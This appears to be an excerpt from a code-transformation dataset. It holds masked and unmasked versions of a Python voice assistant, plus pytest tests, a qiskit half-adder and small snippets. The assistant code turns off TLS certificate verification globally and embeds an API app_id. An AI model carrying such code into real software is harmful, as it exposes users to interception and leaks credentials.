urllib.request.urlopen(\n 'http://www.youtube.com/results?' + query_string)\n search_results = re.findall('href=\\\\\"\\\\/watch\\\\?v=(.{11})',\n html_content.read().decode())\n print('http://www.youtube.com/watch?v=' + search_results[0])\n speak.say('playing ' + s)\n speak.runAndWait()\n webbrowser.open('http://www.youtube.com/watch?v=' +\n search_results[0])\n except:\n print('Sorry, No internet connection!')\n elif put.startswith('search '):\n try:\n link = '+'.join(link[1:])\n say = link.replace('+', ' ')\n speak.say('searching on google for ' + say)\n speak.runAndWait()\n webbrowser.open('https://www.google.co.in/search?q=' + link)\n except:\n print('Sorry, No internet connection!')\n elif put.startswith('empty '):\n try:\n winshell.recycle_bin().empty(confirm=False, show_progress=\n False, sound=True)\n speak.say('Recycle Bin Empty')\n speak.runAndWait()\n except:\n speak.say('Unknown Error')\n speak.runAndWait()\n elif put.startswith('science '):\n try:\n jsonObj = urlopen(\n 'https://newsapi.org/v1/articles?source=new-scientist&sortBy=top&apiKey=your_API_here'\n )\n data = json.load(jsonObj)\n i = 1\n speak.say('Here are some top science news from new scientist')\n speak.runAndWait()\n print(\n \"\"\" ================NEW SCIENTIST=============\n \"\"\"\n + '\\n')\n for item in data['articles']:\n print(str(i) + '. ' + item['title'] + '\\n')\n print(item['description'] + '\\n')\n i += 1\n except:\n print('Sorry, No internet connection')\n elif put.startswith('headlines '):\n try:\n jsonObj = urlopen(\n 'https://newsapi.org/v1/articles?source=the-times-of-india&sortBy=top&apiKey=your_API_here'\n )\n data = json.load(jsonObj)\n i = 1\n speak.say('Here are some top news from the times of india')\n speak.runAndWait()\n print(\n ' ===============TIMES OF INDIA============' +\n '\\n')\n for item in data['articles']:\n print(str(i) + '. ' + item['title'] + '\\n')\n print(item['description'] + '\\n')\n i += 1\n except Exception as e:\n print(str(e))\n elif put.startswith('lock '):\n try:\n speak.say('locking the device')\n speak.runAndWait()\n ctypes.windll.user32.LockWorkStation()\n except Exception as e:\n print(str(e))\n elif put.endswith('bored'):\n try:\n speak.say(\n \"\"\"Sir, I'm playing a video.\n Hope you like it\"\"\"\n )\n speak.runAndWait()\n video = random.choice(videos)\n os.startfile(video)\n except Exception as e:\n print(str(e))\n elif put.startswith('whats up'):\n try:\n speak.say(\n 'Nothing much, just trying to become the perfect assistant!'\n )\n speak.runAndWait()\n except Exception as e:\n print(str(e))\n elif put.startswith('show stocks'):\n try:\n Regression.execute()\n except Exception as e:\n print(str(e))\n else:\n try:\n client = wolframalpha.Client(app_id)\n res = client.query(put)\n ans = next(res.results).text\n print(ans)\n speak.say(ans)\n speak.runAndWait()\n except:\n put = put.split()\n put = ' '.join(put[:])\n print(wikipedia.summary(put))\n speak.say('Searched google for ' + put)\n speak.runAndWait()\n webbrowser.open('https://www.google.co.in/search?q=' + put)\n\n\nif __name__ == '__main__':\n app = wx.App(True)\n frame = MyFrame()\n app.MainLoop()\n", "step-3": "<mask token>\nrequests.packages.urllib3.disable_warnings()\ntry:\n _create_unverified_https_context = ssl._create_unverified_context\nexcept AttributeError:\n pass\nelse:\n ssl._create_default_https_context = _create_unverified_https_context\nheaders = {\n \"\"\"user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6)\n AppleWebKit/537.36 (KHTML, like Gecko)\n Chrome/53.0.2785.143 Safari/537.36\"\"\"\n }\nspeak = pyttsx3.init()\nvoices = speak.getProperty('voices')\nvoice = voices[1]\nspeak.setProperty('voice', voice.id)\nvideos = ['C:\\\\Users\\\\nEW u\\\\Videos\\\\Um4WR.mkv',\n 'C:\\\\Users\\\\nEW u\\\\Videos\\\\Jaatishwar.mkv']\napp_id = 'GY6T92-YG5RXA85AV'\n\n\nclass MyFrame(wx.Frame):\n\n def __init__(self):\n wx.Frame.__init__(self, None, pos=wx.DefaultPosition, size=wx.Size(\n 450, 100), style=wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.CAPTION |\n wx.CLOSE_BOX | wx.CLIP_CHILDREN, title='Assistant')\n panel = wx.Panel(self)\n my_sizer = wx.BoxSizer(wx.VERTICAL)\n lbl = wx.StaticText(panel, label='Hello Sir. How can I help you?')\n my_sizer.Add(lbl, 0, wx.ALL, 5)\n self.txt = wx.TextCtrl(panel, style=wx.TE_PROCESS_ENTER, size=(400, 30)\n )\n self.txt.SetFocus()\n self.txt.Bind(wx.EVT_TEXT_ENTER, self.OnEnter)\n my_sizer.Add(self.txt, 0, wx.ALL, 5)\n panel.SetSizer(my_sizer)\n self.Show()\n speak.say('Welcome back Sir, Your assistant at your service.')\n speak.runAndWait()\n\n def OnEnter(self, event):\n put = self.txt.GetValue()\n put = put.lower()\n link = put.split()\n r = sr.Recognizer()\n if put == '':\n with sr.Microphone() as src:\n r.adjust_for_ambient_noise(src)\n speak.say('Yes? How can I help You?')\n speak.runAndWait()\n audio = r.listen(src)\n try:\n put = r.recognize_google(audio)\n put = put.lower()\n link = put.split()\n self.txt.SetValue(put)\n except sr.UnknownValueError:\n print('Google Speech Recognition could not understand audio')\n except sr.RequestError as e:\n print('Could not request results from Google STT; {0}'.\n format(e))\n except:\n print('Unknown exception occurred!')\n if put.startswith('open '):\n try:\n speak.say('opening ' + link[1])\n speak.runAndWait()\n webbrowser.open('http://www.' + link[1] + '.com')\n except:\n print('Sorry, No Internet Connection!')\n elif put.startswith('play '):\n try:\n link = '+'.join(link[1:])\n s = link.replace('+', ' ')\n query_string = urllib.parse.urlencode({'search_query': link})\n html_content = urllib.request.urlopen(\n 'http://www.youtube.com/results?' + query_string)\n search_results = re.findall('href=\\\\\"\\\\/watch\\\\?v=(.{11})',\n html_content.read().decode())\n print('http://www.youtube.com/watch?v=' + search_results[0])\n speak.say('playing ' + s)\n speak.runAndWait()\n webbrowser.open('http://www.youtube.com/watch?v=' +\n search_results[0])\n except:\n print('Sorry, No internet connection!')\n elif put.startswith('search '):\n try:\n link = '+'.join(link[1:])\n say = link.replace('+', ' ')\n speak.say('searching on google for ' + say)\n speak.runAndWait()\n webbrowser.open('https://www.google.co.in/search?q=' + link)\n except:\n print('Sorry, No internet connection!')\n elif put.startswith('empty '):\n try:\n winshell.recycle_bin().empty(confirm=False, show_progress=\n False, sound=True)\n speak.say('Recycle Bin Empty')\n speak.runAndWait()\n except:\n speak.say('Unknown Error')\n speak.runAndWait()\n elif put.startswith('science '):\n try:\n jsonObj = urlopen(\n 'https://newsapi.org/v1/articles?source=new-scientist&sortBy=top&apiKey=your_API_here'\n )\n data = json.load(jsonObj)\n i = 1\n speak.say('Here are some top science news from new scientist')\n speak.runAndWait()\n print(\n \"\"\" ================NEW SCIENTIST=============\n \"\"\"\n + '\\n')\n for item in data['articles']:\n print(str(i) + '. ' + item['title'] + '\\n')\n print(item['description'] + '\\n')\n i += 1\n except:\n print('Sorry, No internet connection')\n elif put.startswith('headlines '):\n try:\n jsonObj = urlopen(\n 'https://newsapi.org/v1/articles?source=the-times-of-india&sortBy=top&apiKey=your_API_here'\n )\n data = json.load(jsonObj)\n i = 1\n speak.say('Here are some top news from the times of india')\n speak.runAndWait()\n print(\n ' ===============TIMES OF INDIA============' +\n '\\n')\n for item in data['articles']:\n print(str(i) + '. ' + item['title'] + '\\n')\n print(item['description'] + '\\n')\n i += 1\n except Exception as e:\n print(str(e))\n elif put.startswith('lock '):\n try:\n speak.say('locking the device')\n speak.runAndWait()\n ctypes.windll.user32.LockWorkStation()\n except Exception as e:\n print(str(e))\n elif put.endswith('bored'):\n try:\n speak.say(\n \"\"\"Sir, I'm playing a video.\n Hope you like it\"\"\"\n )\n speak.runAndWait()\n video = random.choice(videos)\n os.startfile(video)\n except Exception as e:\n print(str(e))\n elif put.startswith('whats up'):\n try:\n speak.say(\n 'Nothing much, just trying to become the perfect assistant!'\n )\n speak.runAndWait()\n except Exception as e:\n print(str(e))\n elif put.startswith('show stocks'):\n try:\n Regression.execute()\n except Exception as e:\n print(str(e))\n else:\n try:\n client = wolframalpha.Client(app_id)\n res = client.query(put)\n ans = next(res.results).text\n print(ans)\n speak.say(ans)\n speak.runAndWait()\n except:\n put = put.split()\n put = ' '.join(put[:])\n print(wikipedia.summary(put))\n speak.say('Searched google for ' + put)\n speak.runAndWait()\n webbrowser.open('https://www.google.co.in/search?q=' + put)\n\n\nif __name__ == '__main__':\n app = wx.App(True)\n frame = MyFrame()\n app.MainLoop()\n", "step-4": "import wx\nimport os\nimport wikipedia\nimport wolframalpha\nimport pyttsx3\nimport webbrowser\nimport winshell\nimport json\nimport requests\nimport ctypes\nimport random\nfrom urllib.request import urlopen\nimport speech_recognition as sr\nimport ssl\nimport urllib.request\nimport urllib.parse\nimport re\nfrom regression import Regression\nrequests.packages.urllib3.disable_warnings()\ntry:\n _create_unverified_https_context = ssl._create_unverified_context\nexcept AttributeError:\n pass\nelse:\n ssl._create_default_https_context = _create_unverified_https_context\nheaders = {\n \"\"\"user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6)\n AppleWebKit/537.36 (KHTML, like Gecko)\n Chrome/53.0.2785.143 Safari/537.36\"\"\"\n }\nspeak = pyttsx3.init()\nvoices = speak.getProperty('voices')\nvoice = voices[1]\nspeak.setProperty('voice', voice.id)\nvideos = ['C:\\\\Users\\\\nEW u\\\\Videos\\\\Um4WR.mkv',\n 'C:\\\\Users\\\\nEW u\\\\Videos\\\\Jaatishwar.mkv']\napp_id = 'GY6T92-YG5RXA85AV'\n\n\nclass MyFrame(wx.Frame):\n\n def __init__(self):\n wx.Frame.__init__(self, None, pos=wx.DefaultPosition, size=wx.Size(\n 450, 100), style=wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.CAPTION |\n wx.CLOSE_BOX | wx.CLIP_CHILDREN, title='Assistant')\n panel = wx.Panel(self)\n my_sizer = wx.BoxSizer(wx.VERTICAL)\n lbl = wx.StaticText(panel, label='Hello Sir. How can I help you?')\n my_sizer.Add(lbl, 0, wx.ALL, 5)\n self.txt = wx.TextCtrl(panel, style=wx.TE_PROCESS_ENTER, size=(400, 30)\n )\n self.txt.SetFocus()\n self.txt.Bind(wx.EVT_TEXT_ENTER, self.OnEnter)\n my_sizer.Add(self.txt, 0, wx.ALL, 5)\n panel.SetSizer(my_sizer)\n self.Show()\n speak.say('Welcome back Sir, Your assistant at your service.')\n speak.runAndWait()\n\n def OnEnter(self, event):\n put = self.txt.GetValue()\n put = put.lower()\n link = put.split()\n r = sr.Recognizer()\n if put == '':\n with sr.Microphone() as src:\n r.adjust_for_ambient_noise(src)\n speak.say('Yes? How can I help You?')\n speak.runAndWait()\n audio = r.listen(src)\n try:\n put = r.recognize_google(audio)\n put = put.lower()\n link = put.split()\n self.txt.SetValue(put)\n except sr.UnknownValueError:\n print('Google Speech Recognition could not understand audio')\n except sr.RequestError as e:\n print('Could not request results from Google STT; {0}'.\n format(e))\n except:\n print('Unknown exception occurred!')\n if put.startswith('open '):\n try:\n speak.say('opening ' + link[1])\n speak.runAndWait()\n webbrowser.open('http://www.' + link[1] + '.com')\n except:\n print('Sorry, No Internet Connection!')\n elif put.startswith('play '):\n try:\n link = '+'.join(link[1:])\n s = link.replace('+', ' ')\n query_string = urllib.parse.urlencode({'search_query': link})\n html_content = urllib.request.urlopen(\n 'http://www.youtube.com/results?' + query_string)\n search_results = re.findall('href=\\\\\"\\\\/watch\\\\?v=(.{11})',\n html_content.read().decode())\n print('http://www.youtube.com/watch?v=' + search_results[0])\n speak.say('playing ' + s)\n speak.runAndWait()\n webbrowser.open('http://www.youtube.com/watch?v=' +\n search_results[0])\n except:\n print('Sorry, No internet connection!')\n elif put.startswith('search '):\n try:\n link = '+'.join(link[1:])\n say = link.replace('+', ' ')\n speak.say('searching on google for ' + say)\n speak.runAndWait()\n webbrowser.open('https://www.google.co.in/search?q=' + link)\n except:\n print('Sorry, No internet connection!')\n elif put.startswith('empty '):\n try:\n winshell.recycle_bin().empty(confirm=False, show_progress=\n False, sound=True)\n speak.say('Recycle Bin Empty')\n speak.runAndWait()\n except:\n speak.say('Unknown Error')\n speak.runAndWait()\n elif put.startswith('science '):\n try:\n jsonObj = urlopen(\n 'https://newsapi.org/v1/articles?source=new-scientist&sortBy=top&apiKey=your_API_here'\n )\n data = json.load(jsonObj)\n i = 1\n speak.say('Here are some top science news from new scientist')\n speak.runAndWait()\n print(\n \"\"\" ================NEW SCIENTIST=============\n \"\"\"\n + '\\n')\n for item in data['articles']:\n print(str(i) + '. ' + item['title'] + '\\n')\n print(item['description'] + '\\n')\n i += 1\n except:\n print('Sorry, No internet connection')\n elif put.startswith('headlines '):\n try:\n jsonObj = urlopen(\n 'https://newsapi.org/v1/articles?source=the-times-of-india&sortBy=top&apiKey=your_API_here'\n )\n data = json.load(jsonObj)\n i = 1\n speak.say('Here are some top news from the times of india')\n speak.runAndWait()\n print(\n ' ===============TIMES OF INDIA============' +\n '\\n')\n for item in data['articles']:\n print(str(i) + '. ' + item['title'] + '\\n')\n print(item['description'] + '\\n')\n i += 1\n except Exception as e:\n print(str(e))\n elif put.startswith('lock '):\n try:\n speak.say('locking the device')\n speak.runAndWait()\n ctypes.windll.user32.LockWorkStation()\n except Exception as e:\n print(str(e))\n elif put.endswith('bored'):\n try:\n speak.say(\n \"\"\"Sir, I'm playing a video.\n Hope you like it\"\"\"\n )\n speak.runAndWait()\n video = random.choice(videos)\n os.startfile(video)\n except Exception as e:\n print(str(e))\n elif put.startswith('whats up'):\n try:\n speak.say(\n 'Nothing much, just trying to become the perfect assistant!'\n )\n speak.runAndWait()\n except Exception as e:\n print(str(e))\n elif put.startswith('show stocks'):\n try:\n Regression.execute()\n except Exception as e:\n print(str(e))\n else:\n try:\n client = wolframalpha.Client(app_id)\n res = client.query(put)\n ans = next(res.results).text\n print(ans)\n speak.say(ans)\n speak.runAndWait()\n except:\n put = put.split()\n put = ' '.join(put[:])\n print(wikipedia.summary(put))\n speak.say('Searched google for ' + put)\n speak.runAndWait()\n webbrowser.open('https://www.google.co.in/search?q=' + put)\n\n\nif __name__ == '__main__':\n app = wx.App(True)\n frame = MyFrame()\n app.MainLoop()\n", "step-5": "import wx\nimport os\n# os.environ[\"HTTPS_PROXY\"] = \"http://user:pass@192.168.1.107:3128\"\nimport wikipedia\nimport wolframalpha\nimport pyttsx3\nimport webbrowser\nimport winshell\nimport json\nimport requests\nimport ctypes\nimport random\nfrom urllib.request import urlopen\nimport speech_recognition as sr\nimport ssl\nimport urllib.request\nimport urllib.parse\nimport re\nfrom regression import Regression\n# Remove SSL error\nrequests.packages.urllib3.disable_warnings()\n\ntry:\n _create_unverified_https_context = ssl._create_unverified_context\nexcept AttributeError:\n # Legacy Python that doesn't verify HTTPS certificates by default\n pass\nelse:\n # Handle target environment that doesn't support HTTPS verification\n ssl._create_default_https_context = _create_unverified_https_context\n\n\nheaders = {'''user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6)\n AppleWebKit/537.36 (KHTML, like Gecko)\n Chrome/53.0.2785.143 Safari/537.36'''}\n\n#speak = wincl.Dispatch(\"SAPI.SpVoice\")\nspeak = pyttsx3.init()\nvoices = speak.getProperty('voices')\nvoice = voices[1]\nspeak.setProperty('voice', voice.id)\n\n# Requirements\nvideos = ['C:\\\\Users\\\\nEW u\\\\Videos\\\\Um4WR.mkv', 'C:\\\\Users\\\\nEW u\\\\Videos\\\\Jaatishwar.mkv']\napp_id = 'GY6T92-YG5RXA85AV'\n\n\n# GUI creation\nclass MyFrame(wx.Frame):\n def __init__(self):\n wx.Frame.__init__(self, None,\n pos=wx.DefaultPosition, size=wx.Size(450, 100),\n style=wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.CAPTION |\n wx.CLOSE_BOX | wx.CLIP_CHILDREN,\n title=\"Assistant\")\n panel = wx.Panel(self)\n\n #ico = wx.Icon('programming.jpg', type=wx.ICON_ASTERISK, desiredWidth=-1, desiredHeight=-1)\n #self.SetIcon(ico)\n \n my_sizer = wx.BoxSizer(wx.VERTICAL)\n lbl = wx.StaticText(panel,\n label=\"Hello Sir. How can I help you?\")\n my_sizer.Add(lbl, 0, wx.ALL, 5)\n self.txt = wx.TextCtrl(panel, style=wx.TE_PROCESS_ENTER,\n size=(400, 30))\n self.txt.SetFocus()\n self.txt.Bind(wx.EVT_TEXT_ENTER, self.OnEnter)\n my_sizer.Add(self.txt, 0, wx.ALL, 5)\n panel.SetSizer(my_sizer)\n self.Show()\n speak.say('''Welcome back Sir, Your assistant at your service.''')\n speak.runAndWait()\n\n\n def OnEnter(self, event):\n put = self.txt.GetValue()\n put = put.lower()\n link = put.split()\n r = sr.Recognizer()\n if put == '':\n with sr.Microphone() as src:\n r.adjust_for_ambient_noise(src) \n speak.say(\"Yes? How can I help You?\")\n speak.runAndWait()\n audio = r.listen(src)\n try:\n put = r.recognize_google(audio)\n put = put.lower()\n link = put.split()\n self.txt.SetValue(put)\n\n except sr.UnknownValueError:\n print(\"Google Speech Recognition could not understand audio\")\n except sr.RequestError as e:\n print(\"Could not request results from Google STT; {0}\".format(e))\n except:\n print(\"Unknown exception occurred!\")\n\n # Open a webpage\n if put.startswith('open '):\n try:\n speak.say(\"opening \"+link[1])\n speak.runAndWait()\n webbrowser.open('http://www.'+link[1]+'.com')\n except:\n print('Sorry, No Internet Connection!')\n # Play Song on Youtube\n elif put.startswith('play '):\n try:\n link = '+'.join(link[1:])\n s = link.replace('+', ' ')\n query_string = urllib.parse.urlencode({\"search_query\" : link})\n html_content = urllib.request.urlopen(\"http://www.youtube.com/results?\" + query_string)\n search_results = re.findall(r'href=\\\"\\/watch\\?v=(.{11})', html_content.read().decode())\n print(\"http://www.youtube.com/watch?v=\" + search_results[0])\n speak.say(\"playing \"+s)\n speak.runAndWait()\n webbrowser.open(\"http://www.youtube.com/watch?v=\" + search_results[0])\n except:\n print('Sorry, No internet connection!')\n # Google Search\n elif put.startswith('search '):\n try:\n link = '+'.join(link[1:])\n say = link.replace('+', ' ')\n speak.say(\"searching on google for \"+say)\n speak.runAndWait()\n webbrowser.open('https://www.google.co.in/search?q='+link)\n except:\n print('Sorry, No internet connection!')\n # Empty Recycle bin\n elif put.startswith('empty '):\n try:\n winshell.recycle_bin().empty(confirm=False,\n show_progress=False, sound=True)\n speak.say(\"Recycle Bin Empty\")\n speak.runAndWait()\n except:\n speak.say(\"Unknown Error\")\n speak.runAndWait()\n # News\n elif put.startswith('science '):\n try:\n jsonObj = urlopen('''https://newsapi.org/v1/articles?source=new-scientist&sortBy=top&apiKey=your_API_here''')\n data = json.load(jsonObj)\n i = 1\n speak.say('''Here are some top science news from new scientist''')\n speak.runAndWait()\n print(''' ================NEW SCIENTIST=============\n '''+'\\n')\n for item in data['articles']:\n print(str(i)+'. '+item['title']+'\\n')\n print(item['description']+'\\n')\n i += 1\n except:\n print('Sorry, No internet connection')\n elif put.startswith('headlines '):\n try:\n jsonObj = urlopen('''https://newsapi.org/v1/articles?source=the-times-of-india&sortBy=top&apiKey=your_API_here''')\n data = json.load(jsonObj)\n i = 1\n speak.say('Here are some top news from the times of india')\n speak.runAndWait()\n print(''' ===============TIMES OF INDIA============'''\n +'\\n')\n for item in data['articles']:\n print(str(i)+'. '+item['title']+'\\n')\n print(item['description']+'\\n')\n i += 1\n except Exception as e:\n print(str(e))\n # Lock the device\n elif put.startswith('lock '):\n try:\n speak.say(\"locking the device\")\n speak.runAndWait()\n ctypes.windll.user32.LockWorkStation()\n except Exception as e:\n print(str(e)) \n # Play videos in boredom\n elif put.endswith('bored'):\n try:\n speak.say('''Sir, I\\'m playing a video.\n Hope you like it''')\n speak.runAndWait()\n video = random.choice(videos)\n os.startfile(video)\n except Exception as e:\n print(str(e)) \n # Say Whats up \n elif put.startswith('whats up'):\n try:\n speak.say('''Nothing much, just trying to become the perfect assistant!''')\n speak.runAndWait()\n except Exception as e:\n print(str(e)) \n #Show stocks\n elif put.startswith('show stocks'):\n try:\n Regression.execute()\n except Exception as e:\n print(str(e))\n \n # Other Cases\n else:\n try:\n # wolframalpha\n client = wolframalpha.Client(app_id)\n res = client.query(put)\n ans = next(res.results).text\n print(ans)\n speak.say(ans)\n speak.runAndWait()\n\n except:\n # wikipedia/google\n put = put.split()\n put = ' '.join(put[:])\n #print(put)\n print(wikipedia.summary(put))\n speak.say('Searched google for '+put)\n speak.runAndWait()\n webbrowser.open('https://www.google.co.in/search?q='+put)\n\n\n# Trigger GUI\nif __name__ == \"__main__\":\n app = wx.App(True)\n frame = MyFrame()\n app.MainLoop()", "step-ids": [ 3, 4, 5, 6, 7 ] }
[ 3, 4, 5, 6, 7 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def test_stf_3_2_1_neg(fixture): seed = fixture.common.get_seed() fixture.stf.open_stf_exercise('3-2-1', seed) fixture.stf.open_solution_url('test') assert fixture.stf.get_solution() == Config.test_fail_text fixture.common.back_to_main_page() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def test_stf_3_2_1_pos(fixture): seed = fixture.common.get_seed() fixture.stf.open_stf_exercise('3-2-1', seed) fixture.stf.open_solution_url(seed) assert fixture.stf.get_solution() == Config.test_pass_text fixture.common.back_to_main_page() def test_stf_3_2_1_neg(fixture): seed = fixture.common.get_seed() fixture.stf.open_stf_exercise('3-2-1', seed) fixture.stf.open_solution_url('test') assert fixture.stf.get_solution() == Config.test_fail_text fixture.common.back_to_main_page() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def test_stf_3_2_1_pos(fixture): seed = fixture.common.get_seed() fixture.stf.open_stf_exercise('3-2-1', seed) fixture.stf.open_solution_url(seed) assert fixture.stf.get_solution() == Config.test_pass_text fixture.common.back_to_main_page() def test_stf_3_2_1_neg(fixture): seed = fixture.common.get_seed() fixture.stf.open_stf_exercise('3-2-1', seed) fixture.stf.open_solution_url('test') assert fixture.stf.get_solution() == Config.test_fail_text fixture.common.back_to_main_page() __author__ = 'GiSDeCain' <|reserved_special_token_1|> from config import Config def test_stf_3_2_1_pos(fixture): seed = fixture.common.get_seed() fixture.stf.open_stf_exercise('3-2-1', seed) fixture.stf.open_solution_url(seed) assert fixture.stf.get_solution() == Config.test_pass_text fixture.common.back_to_main_page() def test_stf_3_2_1_neg(fixture): seed = fixture.common.get_seed() fixture.stf.open_stf_exercise('3-2-1', seed) fixture.stf.open_solution_url('test') assert fixture.stf.get_solution() == Config.test_fail_text fixture.common.back_to_main_page() __author__ = 'GiSDeCain'
flexible
{ "blob_id": "028b38a07c71232eb42bedecd734cf7188550239", "index": 9602, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef test_stf_3_2_1_neg(fixture):\n seed = fixture.common.get_seed()\n fixture.stf.open_stf_exercise('3-2-1', seed)\n fixture.stf.open_solution_url('test')\n assert fixture.stf.get_solution() == Config.test_fail_text\n fixture.common.back_to_main_page()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef test_stf_3_2_1_pos(fixture):\n seed = fixture.common.get_seed()\n fixture.stf.open_stf_exercise('3-2-1', seed)\n fixture.stf.open_solution_url(seed)\n assert fixture.stf.get_solution() == Config.test_pass_text\n fixture.common.back_to_main_page()\n\n\ndef test_stf_3_2_1_neg(fixture):\n seed = fixture.common.get_seed()\n fixture.stf.open_stf_exercise('3-2-1', seed)\n fixture.stf.open_solution_url('test')\n assert fixture.stf.get_solution() == Config.test_fail_text\n fixture.common.back_to_main_page()\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\ndef test_stf_3_2_1_pos(fixture):\n seed = fixture.common.get_seed()\n fixture.stf.open_stf_exercise('3-2-1', seed)\n fixture.stf.open_solution_url(seed)\n assert fixture.stf.get_solution() == Config.test_pass_text\n fixture.common.back_to_main_page()\n\n\ndef test_stf_3_2_1_neg(fixture):\n seed = fixture.common.get_seed()\n fixture.stf.open_stf_exercise('3-2-1', seed)\n fixture.stf.open_solution_url('test')\n assert fixture.stf.get_solution() == Config.test_fail_text\n fixture.common.back_to_main_page()\n\n\n__author__ = 'GiSDeCain'\n", "step-5": "from config import Config\n\n\ndef test_stf_3_2_1_pos(fixture):\n seed = fixture.common.get_seed()\n fixture.stf.open_stf_exercise('3-2-1', seed)\n fixture.stf.open_solution_url(seed)\n assert fixture.stf.get_solution() == Config.test_pass_text\n fixture.common.back_to_main_page()\n\n\ndef test_stf_3_2_1_neg(fixture):\n seed = fixture.common.get_seed()\n fixture.stf.open_stf_exercise('3-2-1', seed)\n fixture.stf.open_solution_url('test')\n assert fixture.stf.get_solution() == Config.test_fail_text\n fixture.common.back_to_main_page()\n\n\n__author__ = 'GiSDeCain'\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
name = 'Ледяная скорбь' description = 'Тот кто держит этот клинок, должен обладать бесконечной силой. Подобно тому, как он разрывает плоть, он разрывает души.' price = 3000 fightable = True def fight_use(user, reply, room): return 200
normal
{ "blob_id": "7254e74ff3f562613cc610e4816a2d92b6b1cd4c", "index": 6074, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef fight_use(user, reply, room):\n return 200\n", "step-3": "name = 'Ледяная скорбь'\ndescription = (\n 'Тот кто держит этот клинок, должен обладать бесконечной силой. Подобно тому, как он разрывает плоть, он разрывает души.'\n )\nprice = 3000\nfightable = True\n\n\ndef fight_use(user, reply, room):\n return 200\n", "step-4": "name = 'Ледяная скорбь'\ndescription = 'Тот кто держит этот клинок, должен обладать бесконечной силой. Подобно тому, как он разрывает плоть, он разрывает души.'\nprice = 3000\n\nfightable = True\n\ndef fight_use(user, reply, room):\n\treturn 200", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
#encoding:UTF-8 from numpy import * #---------------------------------------------------------------------- def differences(a, b): """""" c = a[a!=b] d = b[a!=b] nums = nonzero(a!=b)[0] return concatenate((mat(nums), c, d)).T
normal
{ "blob_id": "67a76f1f1dad4b7e73359f04ca8f599c8d32dc92", "index": 2900, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef differences(a, b):\n \"\"\"\"\"\"\n c = a[a != b]\n d = b[a != b]\n nums = nonzero(a != b)[0]\n return concatenate((mat(nums), c, d)).T\n", "step-3": "from numpy import *\n\n\ndef differences(a, b):\n \"\"\"\"\"\"\n c = a[a != b]\n d = b[a != b]\n nums = nonzero(a != b)[0]\n return concatenate((mat(nums), c, d)).T\n", "step-4": "#encoding:UTF-8\n\nfrom numpy import *\n\n#----------------------------------------------------------------------\ndef differences(a, b):\n \"\"\"\"\"\"\n c = a[a!=b]\n d = b[a!=b]\n nums = nonzero(a!=b)[0]\n return concatenate((mat(nums), c, d)).T", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> qc_ha.x(0) qc_ha.x(1) qc_ha.barrier() qc_ha.cx(0, 2) qc_ha.cx(1, 2) qc_ha.ccx(0, 1, 3) qc_ha.barrier() qc_ha.measure(2, 0) qc_ha.measure(3, 1) <|reserved_special_token_0|> plot_histogram(counts) plt.show() <|reserved_special_token_1|> <|reserved_special_token_0|> qc_ha = QuantumCircuit(4, 2) qc_ha.x(0) qc_ha.x(1) qc_ha.barrier() qc_ha.cx(0, 2) qc_ha.cx(1, 2) qc_ha.ccx(0, 1, 3) qc_ha.barrier() qc_ha.measure(2, 0) qc_ha.measure(3, 1) counts = execute(qc_ha, Aer.get_backend('qasm_simulator')).result().get_counts( ) plot_histogram(counts) plt.show() <|reserved_special_token_1|> from qiskit import QuantumCircuit, execute, Aer from qiskit.visualization import plot_histogram import matplotlib.pyplot as plt qc_ha = QuantumCircuit(4, 2) qc_ha.x(0) qc_ha.x(1) qc_ha.barrier() qc_ha.cx(0, 2) qc_ha.cx(1, 2) qc_ha.ccx(0, 1, 3) qc_ha.barrier() qc_ha.measure(2, 0) qc_ha.measure(3, 1) counts = execute(qc_ha, Aer.get_backend('qasm_simulator')).result().get_counts( ) plot_histogram(counts) plt.show() <|reserved_special_token_1|> from qiskit import QuantumCircuit,execute,Aer from qiskit.visualization import plot_histogram import matplotlib.pyplot as plt qc_ha=QuantumCircuit(4,2) qc_ha.x(0) qc_ha.x(1) qc_ha.barrier() qc_ha.cx(0,2) qc_ha.cx(1,2) qc_ha.ccx(0,1,3) qc_ha.barrier() qc_ha.measure(2,0) qc_ha.measure(3,1) #qc_ha.draw(output='mpl') counts = execute(qc_ha,Aer.get_backend('qasm_simulator')).result().get_counts() plot_histogram(counts) plt.show()
flexible
